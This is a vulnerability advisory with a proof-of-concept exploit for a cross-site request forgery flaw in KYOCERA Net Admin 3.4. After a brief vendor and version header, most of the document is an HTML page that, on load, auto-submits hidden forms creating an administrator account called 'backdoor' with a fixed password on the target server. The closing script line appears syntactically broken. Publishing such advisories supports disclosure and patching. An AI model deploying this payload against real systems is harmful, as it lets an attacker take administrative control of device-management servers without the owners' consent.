KYOCERA Net Admin 3.4 – Cross-Site Request Forgery (Add Admin)
#Vendor: KYOCERA Corporation #Product https://global.kyocera.com #Affected version: 3.4.0906 # #Summary: KYOCERA Net Admin is Kyocera's unified #device management software that uses a web-based #platform to give network administrators easy and #uncomplicated control to handle a fleet for up to #10,000 devices. Tasks that used to require multiple #programs or walking to each printer can now be #accomplished in a single, fast and modern environment. # #Desc: The application interface allows users to perform #certain actions via HTTP requests without performing #any validity checks to verify the requests. This can #be exploited to perform certain actions with administrative #privileges if a logged-in user visits a malicious web #site. # #Tested on: Microsoft Windows 7 Professional SP1 (EN) #Apache Tomcat/8.5.15 # # #Vulnerability discovered by Gjoko 'LiquidWorm' Krstic #@zeroscience # # #Advisory ID: ZSL-2018-5458 #Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5458.php <html> <head> <title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title> </head> <body onload="exploitrun();"> <!-- Add Administrator --> <form name="create_user" action="https://192.168.18.133:7443/fwk-web/jsp/addUser.faces" method="POST" target="frame0"> <input type="hidden" name="userType" value="0" /> <input type="hidden" name="addUserForm:loginName" value="backdoor" /> <input type="hidden" name="addUserForm:pw" value="pass123" /> <input type="hidden" name="addUserForm:pwConfirm" value="pass123" /> <input type="hidden" name="addUserForm:role" value="administrator" /> <input type="hidden" name="addUserForm:required_name" value="name" /> <input type="hidden" name="addUserForm:required_email1" value="bd@db.ee" /> <input type="hidden" name="addUserForm:required_role" value="administrator" /> <input type="hidden" name="addUserForm:optional_name" value="Backdoor" /> <input type="hidden" name="addUserForm:company" value="ZSL" /> <input type="hidden" name="addUserForm:department" value="forensics" /> <input type="hidden" name="addUserForm:email2" value="bd2@db.ee" /> <input type="hidden" name="addUserForm:optional_phone" value="123-123-1234" /> <input type="hidden" name="addUserForm:optional_cell" value="321-321-3210" /> <input type="hidden" name="addUserForm:submitHidden" value="true" /> <input type="hidden" name="addUserForm_SUBMIT" value="1" /> <input type="hidden" name="addUserForm:_link_hidden_" value="" /> </form> <!-- Update Node --> <form name="update_node" action="https://192.168.18.133:7443/fwk-web/servlet/EventControllerServlet" method="GET" target="frame1"> <input type="hidden" name="bname" value="" /> <input type="hidden" name="ts" value="1522690965730" /> <input type="hidden" name="cmd" value="tv_set_cur_node" /> <input type="hidden" name="node_id" value="root.user_administration.administrator.backdoor" /> </form> <iframe name="frame0"></iframe> <iframe name="frame1"></iframe> <script> function exploitrun() { document.create_user.submit(); document.getElementsByTagName("iframe")[0].onload = function() { document.update_node.submit(); document.getElementsByTagName("iframe")[1].onload = function() } } </script> </body> </html> |
